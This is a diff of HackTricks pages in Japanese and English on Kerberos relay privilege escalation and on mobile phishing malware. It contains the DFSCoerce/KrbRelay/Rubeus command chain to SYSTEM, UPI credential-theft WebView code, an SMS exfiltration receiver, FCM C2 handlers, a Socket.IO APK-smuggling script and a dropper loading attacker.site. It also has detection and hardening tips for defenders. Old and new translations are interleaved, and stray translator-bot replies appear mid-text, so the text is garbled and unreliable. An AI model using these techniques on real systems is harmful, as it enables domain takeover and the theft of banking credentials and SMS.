- 3.3 **Coerce Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerceはDCにKerberos `CIFS/DC01`チケットを送信させます。
DFSCoerce は DC に Kerberos `CIFS/DC01` チケットを送らせる。
- 3.4 **AP-REQを中継する**
- 3.4 **AP-REQ を中継する**
KrbRelayはSMBからGSSブロブを抽出し、それをLDAPバインドに再パッケージ化して`ldap://DC01`に転送します—**同じキー**がそれを復号化するため、認証は成功します。
KrbRelay は SMB から GSS blob を抽出し、それを LDAP bind に再梱包して `ldap://DC01` に転送する—認証が成功するのは **同じキー** で復号できるからだ。
- 3.5 **LDAPを悪用する ➜ RBCD ➜ SYSTEM**
- 3.5 **LDAP ➜ RBCD ➜ SYSTEM を悪用する**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -183,47 +245,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
あなたは現在 **NT AUTHORITY\SYSTEM** を所有しています。
あなたは今、**NT AUTHORITY\SYSTEM** を所有しています。
### **知っておくべきその他のパス**
| ベクター | トリック | 重要な理由 |
### **さらに知っておくべき経路**
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | 偽のサーバーが任意のSPNを持つ**GSS-IDペイロード**を送信; クライアントはあなたに直接AP-REQを構築 | サブネットを越えても機能; デフォルトでマシンクレデンシャル |
| **DCOM / MSRPC** | 悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる | 純粋な*ローカル*特権昇格; ファイアウォールを回避 |
| **AD CS Web Enroll** | `HTTP/CA`にマシンチケットをリレーし、証明書を取得、その後**PKINIT**でTGTを生成 | LDAP署名防御を回避 |
| **Shadow Credentials** | `msDS-KeyCredentialLink`を書き込み、偽造された鍵ペアでPKINIT | コンピュータアカウントを追加する必要なし |
| **AuthIP / IPSec** | 偽サーバーが任意のSPNに対して**GSS-ID payload**を送信し、クライアントが直接あなたにAP-REQを構築する | サブネットをまたいでも動作する；デフォルトでマシン資格情報を使用 |
| **DCOM / MSRPC** | 悪意ある OXID resolver がクライアントに任意のSPNとポートへ認証を強制する | 純粋な*ローカル* priv-esc；ファイアウォールを回避 |
| **AD CS Web Enroll** | 機械チケットを`HTTP/CA`にリレーして証明書を取得し、その後**PKINIT**でTGTを発行する | LDAP署名の防御を回避する |
| **Shadow Credentials** | `msDS-KeyCredentialLink`を書き込み、偽造鍵ペアでPKINITを行う | コンピューターアカウントを追加する必要がない |
### **トラブルシューティング**
| エラー | 意味 | 修正 |
| Error | Meaning | Fix |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | チケットキー ≠ ターゲットキー | ホスト/SPNが間違っている |
| `KRB_AP_ERR_SKEW` | 時計が5分以上のオフセット | 時間を同期するか、`w32tm`を使用 |
| LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか、署名を無効にする |
| イベント4649のスパム | サービスが重複した認証子を検出 | 元のパケットをブロックまたは競争 |
| `KRB_AP_ERR_MODIFIED` | チケット鍵 ≠ ターゲット鍵 | ホスト/SPNが間違っている |
| `KRB_AP_ERR_SKEW` | クロックが5分以上ずれている | 時刻を同期するか `w32tm` を使用する |
| LDAP bind fails | 署名が強制されている | AD CS経路を使うか、署名を無効にする |
| Event 4649 spam | サービスが重複した Authenticator を検出した | 元のパケットをブロックするかレースを仕掛ける |
### **検出**
* 数秒以内に同じソースからの**イベント4769**の急増。
* サービス上の**イベント4649**はリプレイが検出されたことを示す。
* **127.0.0.1**からのKerberosログオン（ローカルSCMへのリレー）は非常に疑わしい—KrbRelayUpドキュメントのSigmaルールでマッピング。
* `msDS-AllowedToActOnBehalfOfOtherIdentity`または`msDS-KeyCredentialLink`属性の変更を監視。
* 同じソースから短時間内に `CIFS/`, `HTTP/`, `LDAP/` に対する **Event 4769** の急増。
* サービスでの **Event 4649** はリプレイ検出を示す。
* **127.0.0.1** からの Kerberos ログオン（ローカル SCM へのリレー）は非常に疑わしい — KrbRelayUp ドキュメントの Sigma ルールでマップすること。
* `msDS-AllowedToActOnBehalfOfOtherIdentity` または `msDS-KeyCredentialLink` 属性の変更を監視する。
## **ハードニング**
1. すべてのサーバーで**LDAP & SMB署名 + EPA**を強制する。
2. **SPNを分割**し、HTTPがCIFS/LDAPと同じアカウントにないようにする。
3. 強制ベクターをパッチ（PetitPotam KB5005413、DFS、AuthIP）。
4. **`ms-DS-MachineAccountQuota = 0`**を設定して不正なコンピュータの参加を防ぐ。
5. **イベント4649**および予期しないループバックKerberosログオンにアラートを出す。
1. **LDAP & SMB signing + EPA** をすべてのサーバーで強制する。
2. **SPNsを分離**し、HTTPがCIFS/LDAPと同じアカウントにならないようにする。
3. 強制ベクターを修正する（PetitPotam KB5005413、DFS、AuthIP）。
4. **`ms-DS-MachineAccountQuota = 0`** を設定して不正なコンピューター参加を防ぐ。
5. **Event 4649** と予期しないループバック Kerberos ログオンに対してアラートを出す。
## 参考文献
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

304
src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
View File

@ -1,64 +1,64 @@
# モバイルフィッシングと悪質アプリ配布 (Android & iOS)
# Mobile Phishing & Malicious App Distribution (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> このページはフィッシング（SEO、ソーシャルエンジニアリング、偽ストア、出会い系アプリ等）を通じて、**悪質な Android APK** と **iOS の mobile-configuration プロファイル** を配布するために脅威アクターが使う技術を扱います。資料は Zimperium zLabs が公開した SarangTrap キャンペーン（2025）やその他の公開リサーチを基にしています。
> このページは、脅威アクターが **malicious Android APKs** および **iOS mobile-configuration profiles** を phishing（SEO、social engineering、fake stores、dating apps など）を通じて配布するために使用する手法を扱います。資料は Zimperium zLabs が公開した SarangTrap キャンペーン（2025）やその他の公開研究を基にしています。
## 攻撃フロー
## Attack Flow
1. **SEO/フィッシング インフラ**
* 類似ドメインを数十件登録（出会い系、クラウド共有、車のサービス…）。
– `<title>` 要素に現地語のキーワードや絵文字を入れて Google での順位を狙う。
– 同一ランディングページに Android (`.apk`) と iOS のインストール手順を両方ホストする。
2. **第一段階ダウンロード**
* Android: *unsigned* または「サードパーティストア」APK への直接リンク。
* iOS: `itms-services://` または通常の HTTPS リンクで悪質な **mobileconfig** プロファイルへ誘導（下参照）。
3. **インストール後のソーシャルエンジニアリング**
* 初回起動時にアプリが **招待コード / 検証コード** を要求（限定アクセスの印象を与える）。
* コードは Command-and-Control (C2) に **HTTP で POST** される。
* C2 が `{"success":true}` を返す ➜ マルウェアは動作を続行。
* 有効なコードを送信しないサンドボックス／AV の動的解析は **悪意ある挙動を検出できない**（回避）。
4. **実行時パーミッション濫用** (Android)
* 危険なパーミッションは **C2 が肯定応答した後にのみ要求** される:
1. **SEO/Phishing Infrastructure**
* dating、cloud share、car service などの類似ドメインを多数登録する。
– Google のランキングを狙って `<title>` 要素に現地言語のキーワードや絵文字を使う。
– 同一のランディングページに Android（`.apk`）と iOS のインストール手順の両方をホストする。
2. **First Stage Download**
* Android: 未署名または「third-party store」APK への直接リンク。
* iOS: `itms-services://` または plain HTTPS リンクで悪意ある **mobileconfig** プロファイル（下記参照）。
3. **Post-install Social Engineering**
* 初回起動時にアプリは **invitation / verification code** を要求し、限定アクセスの錯覚を与える。
* そのコードは **HTTP で POST** され、Command-and-Control (C2) に送られる。
* C2 は `{"success":true}` を返す ➜ マルウェアは継続する。
* 有効なコードを送信しないサンドボックス／AV の動的解析は **悪意ある挙動を検出しない**（回避）。
4. **Runtime Permission Abuse** (Android)
* 危険な権限は **C2 の肯定的応答の後にのみ要求される**：
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* 最近のバリアントは `AndroidManifest.xml` から SMS 用の `<uses-permission>` を削除するが、Java/Kotlin のコードパスではリフレクション経由で SMS を読む処理が残っている ⇒ 静的スコアを下げつつ、AppOps の悪用や古いターゲットでの権限付与時には機能する。
5. **見せかけの UI とバックグラウンド収集**
* アプリはローカル実装された無害なビュー（SMS ビューア、ギャラリーピッカー）を表示する。
* その間に以下を吸い上げる:
* 最近の亜種は `AndroidManifest.xml` の SMS 用 `<uses-permission>` を削除するが、Java/Kotlin のコードパスは reflection 経由で SMS を読み取る処理を残している ⇒ 静的スコアを下げつつ、AppOps の乱用や古いターゲットで動作し続ける。
5. **Facade UI & Background Collection**
* アプリはローカル実装の無害なビュー（SMS ビューア、ギャラリーピッカー）を表示する。
* 同時に以下を吸い上げる：
- IMEI / IMSI、電話番号
- フルな `ContactsContract` ダンプ（JSON 配列）
- `ContactsContract` の完全ダンプ（JSON 配列）
- `/sdcard/DCIM` からの JPEG/PNG を [Luban](https://github.com/Curzibn/Luban) で圧縮してサイズを削減
- 任意で SMS 内容（`content://sms`）
ペイロードは **バッチで zip** 化され `HTTP POST /upload.php` 経由で送信される。
6. **iOS 配布手法**
* 1 つの **mobile-configuration プロファイル** で `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` などを要求し、MDM ライクな監督下にデバイスを登録できる。
* ソーシャルエンジニアリング手順:
ペイロードは **バッチで zip 圧縮** され、`HTTP POST /upload.php` で送信される。
6. **iOS Delivery Technique**
* 単一の **mobile-configuration profile** が `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等を要求して、デバイスを MDM のような監視下に登録することができる。
* Social-engineering の手順例:
1. 設定を開く ➜ *Profile downloaded*。
2. ランディングページのスクリーンショット通りに *Install* を 3 回タップ。
3. 署名されていないプロファイルを信頼する ➜ 攻撃者は App Store レビューを経ずに *Contacts* と *Photo* の権限を得る。
7. **ネットワーク層**
* 平文 HTTP、しばしばポート 80 で HOST ヘッダは `api.<phishingdomain>.com` のようになる。
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`（TLS を使わないため発見が容易）。
2. ランディングページのスクリーンショットに従い *Install* を三度タップする。
3. 未署名のプロファイルを信頼する ➜ 攻撃者は App Store の審査なしに *Contacts* と *Photo* の権限を得る。
7. **Network Layer**
* プレーン HTTP、しばしばポート 80 で HOST ヘッダは `api.<phishingdomain>.com` のようになる。
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`（TLS なし → 見つけやすい）。
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** – マルウェア評価時に Frida/Objection で招待コードフェーズを自動化し、悪性分岐に到達する。
* **Manifest vs. Runtime Diff** – `aapt dump permissions` と実行時の `PackageManager#getRequestedPermissions()` を比較；危険なパーミッションが欠けているのはレッドフラッグ。
* **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` を設定して、コード入力後の不自然な POST バーストを検出する。
* **mobileconfig Inspection** – macOS で `security cms -D -i profile.mobileconfig` を使い `PayloadContent` を列挙して過剰な権限を見つける。
* **Dynamic Analysis Bypass** – マルウェア評価時に Frida/Objection で invitation code フェーズを自動化して悪意ある分岐に到達する。
* **Manifest vs. Runtime Diff** – `aapt dump permissions` と実行時の `PackageManager#getRequestedPermissions()` を比較する；危険な権限が欠けているのは警告サイン。
* **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` を設定して、コード入力後の異常な POST バーストを検出する。
* **mobileconfig Inspection** – macOS で `security cms -D -i profile.mobileconfig` を使い `PayloadContent` を列挙し、過剰な権限を見つける。
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** によりキーワード豊富なドメインの急増を捕捉。
* **User-Agent & Path Regex**: Google Play 外の Dalvik クライアントからの `(?i)POST\s+/(check|upload)\.php` を検出。
* **Invite-code Telemetry** – APK インストール直後に 6–8 桁の数字コードを POST する通信はステージングの兆候。
* **MobileConfig Signing** – MDM ポリシーで署名されていない構成プロファイルをブロック。
* **Certificate Transparency / DNS Analytics** でキーワードに富んだドメインの急増を検出する。
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` を Google Play 外の Dalvik クライアントからのものとして検出。
* **Invite-code Telemetry** – APK インストール直後に 6～8 桁の数字コードを POST する挙動はステージングの指標となる。
* **MobileConfig Signing** – MDM ポリシーで未署名の configuration profiles をブロックする。
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
@ -79,7 +79,7 @@ return conn;
};
});
```
## インジケーター（汎用）
## インジケータ（汎用）
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
@ -87,28 +87,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
---
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 パターン
## Android WebView 支払いフィッシング (UPI) – Dropper + FCM C2 パターン
このパターンは、政府給付をテーマにしたキャンペーンで観測され、インドの UPI 資格情報や OTP を盗むために悪用されている。オペレーターは配布と耐障害性のために信用あるプラットフォームを連鎖させる。
このパターンは、政府給付金を装ったキャンペーンでインドの UPI 認証情報や OTP を盗むために観測されています。攻撃者は配布と耐障害性のために信頼できるプラットフォームを連鎖させます。
### 信頼されたプラットフォームにまたがる配布チェーン
- YouTube video lure → 説明欄に短縮リンクが含まれる
- 短縮リンク → GitHub Pages の phishing site（正規ポータルを模倣）
- 同じ GitHub repo が、ファイルに直接リンクする偽の「Google Play」バッジ付きの APK をホストしている
- 動的な phishing ページは Replit 上でホストされ、リモートコマンドチャネルは Firebase Cloud Messaging (FCM) を使用する
### 信頼されたプラットフォームを横断する配布チェーン
- YouTube の誘導動画 → 説明欄に短縮リンクが含まれる
- 短縮リンク → 正規ポータルを模倣した GitHub Pages のフィッシングサイト
- 同じ GitHub リポジトリに、ファイルに直接リンクする偽の “Google Play” バッジ付きの APK がホストされる
- 動的なフィッシングページは Replit 上で稼働；リモートコマンドチャネルには Firebase Cloud Messaging (FCM) を使用
### Dropper と組み込み payload、およびオフラインインストール
- 最初の APK は installer (dropper) で、実際の malware を `assets/app.apk` として同梱し、クラウド検出を鈍らせるためにユーザーに Wi‑Fi/モバイルデータを無効化するよう促す。
- 組み込み payload は無害に見えるラベル（例：“Secure Update”）でインストールされる。インストール後、installer と payload は別個のアプリとして存在する。
### 埋め込みペイロードとオフラインインストールを伴う Dropper
- 最初の APK はインストーラー（dropper）で、実際のマルウェアを `assets/app.apk` に同梱し、クラウド検出を鈍らせるために Wi‑Fi/mobile data を無効化するようユーザーに促す。
- 埋め込まれたペイロードは無害に見えるラベル（例: “Secure Update”）でインストールされる。インストール後、インストーラーとペイロードは別個のアプリとして共存する。
静的トリアージのヒント (grep for embedded payloads):
Static triage tip (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### shortlinkによる動的エンドポイント検出
- Malwareはshortlinkからプレーンテキストのカンマ区切りライブエンドポイント一覧を取得し、単純な文字列変換で最終的なphishingページのパスを生成する。
### shortlink経由の動的 endpoint 検出
- Malwareは、shortlinkからプレーンテキストのコンマ区切りのライブ endpoints 一覧を取得し、簡単な文字列変換で最終的な phishing ページのパスを生成する。
例（サニタイズ済み）：
```
@ -118,7 +118,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
疑似コード:
擬似コード:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
@ -127,26 +127,26 @@ String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebViewベースのUPI認証情報収集
- 「Make payment of ₹1 / UPI‑Lite」ステップは、WebView内で動的エンドポイントから攻撃者のHTMLフォームを読み込み、機密フィールド（電話番号、銀行、UPI PIN）をキャプチャし、それらを`POST`で`addup.php`に送信します。
- 「₹1 / UPI‑Lite の支払い」ステップは、動的エンドポイントから攻撃者のHTMLフォームをWebView内に読み込み、機密フィールド（電話番号、銀行、UPI PIN）を取得し、それらを`POST`して`addup.php`に送信します。
最小ローダー:
Minimal loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### 自己伝播とSMS/OTPの傍受
- 初回実行時に過剰な権限が要求される:
### Self-propagation and SMS/OTP interception
- 過剰な権限が初回実行時に要求される:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- 連絡先をループ処理して、被害者のデバイスからsmishing SMSを大量送信する。
- 受信したSMSは broadcast receiver によって傍受され、メタデータ（sender, body, SIM slot, per-device random ID）とともに `/addsm.php` にアップロードされる。
- 連絡先がループ処理され、被害者のデバイスからsmishing SMSが大量送信される。
- 着信SMSはbroadcast receiverによって傍受され、メタデータ（送信者、本文、SIMスロット、デバイスごとのランダムID）と共に `/addsm.php` にアップロードされる。
受信機のスケッチ:
Receiverのスケッチ:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -160,10 +160,10 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
### Firebase Cloud Messaging (FCM) を回復力のある C2 として
- ペイロードは FCM に登録されます。プッシュメッセージはアクションをトリガーするスイッチとして使用される `_type` フィールドを含みます（例: phishing テキストテンプレートを更新、挙動を切り替え）。
### Firebase Cloud Messaging (FCM) を耐障害性のある C2 として
- ペイロードは FCM に登録され、プッシュメッセージはアクションをトリガーするスイッチとして `_type` フィールドを含む（例: phishing テキストテンプレートの更新、挙動の切り替え）。
FCM のペイロード例:
Example FCM payload:
```json
{
"to": "<device_fcm_token>",
@ -173,7 +173,7 @@ FCM のペイロード例:
}
}
```
ハンドラの概略:
Handler のスケッチ:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@ -185,30 +185,72 @@ case "smish": sendSmishToContacts(); break;
}
}
```
### ハンティングパターンとIOCs
- APK contains secondary payload at `assets/app.apk`
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
- SMS exfiltration to `/addsm.php`
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
- Apps labelled as generic “Update/Secure Update”
- FCM `data` messages with a `_type` discriminator in untrusted apps
### ハンティングパターンと IOCs
- APKがセカンダリペイロードを `assets/app.apk` に含む
- WebViewが `gate.htm` から決済を読み込み、`/addup.php` に送信する
- SMSを `/addsm.php` に送信する
- ショートリンク経由で設定を取得（例: `rebrand.ly/*`）、CSVエンドポイントを返す
- 汎用の“Update/Secure Update”とラベル付けされたアプリ
- 信頼されていないアプリで、FCMの `data` メッセージが `_type` 判別子を含む
### 検知と防御のアイデア
- インストール中にネットワークを無効にするようユーザーに指示し、その後 `assets/` から2次APKをサイドロードするアプリを検出対象にする。
- 権限の組み合わせ `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` と WebViewベースの決済フローに対してアラートを出す。
- 非企業ホストでの `POST /addup.php|/addsm.php` に対するアウトバウンド通信を監視し、既知のインフラをブロックする。
- Mobile EDRルール：FCMに登録し、`_type` フィールドで分岐する信頼されていないアプリを検出。
### 検出と防御のアイデア
- インストール中にネットワークを無効にするよう指示し、その後 `assets/` から2つ目のAPKをサイドロードするアプリにフラグを立てる。
- 次の権限組合せにアラートを出す: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebViewベースの決済フロー。
- 非企業ホストでの `POST /addup.php|/addsm.php` の出口トラフィックを監視し、既知のインフラをブロックする。
- Mobile EDRルール: FCMに登録し、`_type` フィールドで分岐する信頼されていないアプリ。
---
## Android Accessibility/Overlay & Device Admin Abuse、ATS automation、およびNFC relay orchestration – RatOnケーススタディ
## Socket.IO/WebSocketベースの APK Smuggling + 偽の Google Play ページ
The RatOn banker/RAT campaign (ThreatFabric)は、モダンなモバイルフィッシングがどのようにWebView droppers、Accessibility-driven UI automation、overlays/ransom、Device Admin coercion、Automated Transfer System (ATS)、crypto wallet takeover、さらにはNFC-relay orchestrationを組み合わせるかの具体例である。このセクションでは再利用可能なテクニックを抽象化する。
攻撃者は静的なAPKリンクを、Google Play風の誘いページに埋め込まれたSocket.IO/WebSocketチャネルに置き換えることが増えている。これによりペイロードのURLを隠し、URL/拡張子フィルタを回避し、現実的なインストールUXを維持する。
### Stage-1: WebView → native install bridge (dropper)
攻撃者は攻撃者ページを指すWebViewを表示し、ネイティブインストーラを公開するJavaScriptインターフェースを注入する。HTMLボタンのタップがネイティブコードを呼び出し、dropperのassetsにバンドルされた第2ステージのAPKをインストールして直接起動する。
実際の事案で観測された典型的なクライアントフロー:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
Minimal pattern:
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK client‑side and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
なぜ簡単な対策を回避するのか:
- 静的なAPK URLは露出せず、ペイロードはWebSocketフレームからメモリ上で再構築される。
- 直接の.apkレスポンスをブロックするURL/MIME/拡張子フィルタは、WebSockets/Socket.IO経由でトンネリングされたバイナリデータを見逃す可能性がある。
- WebSocketsを実行しないクローラやURLサンドボックスはペイロードを取得できない。
ハンティングと検出のアイデア:
- Web/ネットワークのテレメトリ: 大きなバイナリチャンクを転送し、その後で MIME application/vnd.android.package-archive の Blob を生成しプログラム的に `<a download>` をクリックする WebSocket セッションをフラグする。socket.emit('startDownload') のようなクライアント文字列や、ページスクリプト内で chunk、downloadProgress、downloadComplete と名付けられたイベントを探す。
- Play-store spoof heuristics: Play風のページを配信する非Googleドメイン上で、Google Play UI 文字列（例: http.html:"VfPpkd-jY41G-V67aGc"）、混在言語のテンプレート、WSイベントで駆動される偽の“verification/progress”フローを探す。
- コントロール: 非GoogleオリジンからのAPK配布をブロックする；WebSocketトラフィックを含めたMIME/拡張子ポリシーを強制する；ブラウザの安全なダウンロードプロンプトを維持する。
See also WebSocket tradecraft and tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
RatOn の banker/RAT キャンペーン（ThreatFabric）は、現代のモバイルフィッシング作戦が WebView ドロッパー、Accessibility 駆動の UI 自動化、オーバーレイ/身代金、Device Admin の強制、Automated Transfer System (ATS)、暗号ウォレット乗っ取り、さらには NFC リレーのオーケストレーションをどのように組み合わせるかを示す具体例である。本節では再利用可能な手法を抽象化する。
### Stage-1: WebView → ネイティブインストールブリッジ (dropper)
攻撃者は攻撃者ページを指す WebView を表示し、ネイティブインストーラを公開する JavaScript インターフェイスを注入する。HTML ボタンのタップがネイティブコードを呼び出し、dropper の assets にバンドルされたセカンドステージの APK をインストールして直接起動する。
最小パターン:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
@ -237,15 +279,11 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
HTMLが提示されていません。翻訳したいHTMLまたは該当するページ内容（Markdownを含む）を貼り付けてください。
注意事項：
- code、ハッキング手法名、一般的なハッキング用語、クラウド/SaaS名（Workspace、aws、gcpなど）、"leak"、pentesting、リンクやパス、Markdown/HTMLタグは翻訳しません。
- タグやリンクの構文（例: {#tabs}、{#ref}、ファイルパスなど）はそのまま保持します。
翻訳するHTML/Markdownの内容が提示されていません。翻訳したいページの本文（HTMLまたはMarkdown）をここに貼ってください。タグ、リンク、コード、パスはご指定どおり変更せずそのまま保持します。
```html
<button onclick="bridge.installApk()">Install</button>
```
インストール後、dropper は explicit package/activity を介して payload を起動します:
インストール後、dropper は明示的な package/activity 経由で payload を起動します:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
@ -253,11 +291,11 @@ startActivity(i);
```
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
### 同意取得フロー：Accessibility + Device Admin + その後のランタイムプロンプト
Stage-2 は “Access” ページをホストする WebView を開く。ページのボタンはエクスポートされたメソッドを呼び出し、被害者を Accessibility 設定へ遷移させて不正サービスの有効化を要求する。有効化されると、マルウェアは Accessibility を使って以降のランタイム許可ダイアログ（contacts、overlay、manage system settings など）を自動クリックし、Device Admin を要求する。
### 同意フロー：Accessibility + Device Admin + その後のランタイムプロンプト
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
- Accessibility はプログラム的にノードツリー内の「Allow」/「OK」などのボタンを検出し、クリックイベントを送信して後続のプロンプトを承認するのに用いられる。
- Overlay 権限の確認/要求：
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
- Overlay permission check/request:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -265,27 +303,27 @@ Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}
```
参照：
参照:
{{#ref}}
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### WebView を利用したオーバーレイ phishing/ransom
オペレーターは以下のコマンドを実行できる：
- URL からフルスクリーンのオーバーレイを表示する、または
- inline HTML を渡し、それを WebView オーバーレイにロードする。
### WebView を使った Overlay phishing/ransom
オペレーターは次のコマンドを発行できる:
- URL からフルスクリーンのオーバーレイをレンダリングする、または
- WebView オーバーレイにロードされるインライン HTML を渡す。
想定される用途：強制（PIN入力）、wallet を開いて PIN を取得、ransom メッセージ送信。オーバーレイ権限が不足している場合に備え、権限が付与されているか確認するコマンドを用意しておくこと。
想定される用途: 強要（PIN 入力）、wallet を開かせて PIN を取得、ransom メッセージの送信。オーバーレイ権限がない場合に付与されているかを確認するコマンドを用意しておくこと。
### リモートコントロールモデル – テキスト疑似スクリーン + screen-cast
- 低帯域：定期的に Accessibility node tree をダンプし、visible texts/roles/bounds をシリアライズして擬似スクリーンとして C2 に送信する（`txt_screen` は一回、`screen_live` は継続的、のようなコマンド）。
- 高忠実度：MediaProjection を要求し、オンデマンドで screen-casting/recording を開始する（`display` / `record` のようなコマンド）。
### リモートコントロールモデル – テキスト擬似スクリーン + screen-cast
- 低帯域向け: 定期的に Accessibility のノードツリーをダンプし、表示されている texts/roles/bounds をシリアライズして pseudo-screen として C2 に送る（コマンド例: `txt_screen`（単発）と `screen_live`（継続））。
- 高忠実度: MediaProjection を要求し、必要に応じて screen-casting/recording を開始する（コマンド例: `display` / `record`）。
### ATS playbook（bank app automation）
JSON task を受け取り、銀行アプリを開き、Accessibility 経由で UI を操作する。テキストクエリと座標タップを組み合わせ、プロンプトが出たら被害者の payment PIN を入力する。
### ATS プレイブック（銀行アプリの自動化）
JSON タスクが与えられると、銀行アプリを開き、Accessibility を介してテキストクエリと座標タップを組み合わせて UI を操作し、プロンプトが表示されたら被害者の支払い PIN を入力する。
Example task:
タスク例:
```json
{
"cmd": "transfer",
@ -295,66 +333,65 @@ Example task:
"name": "ACME"
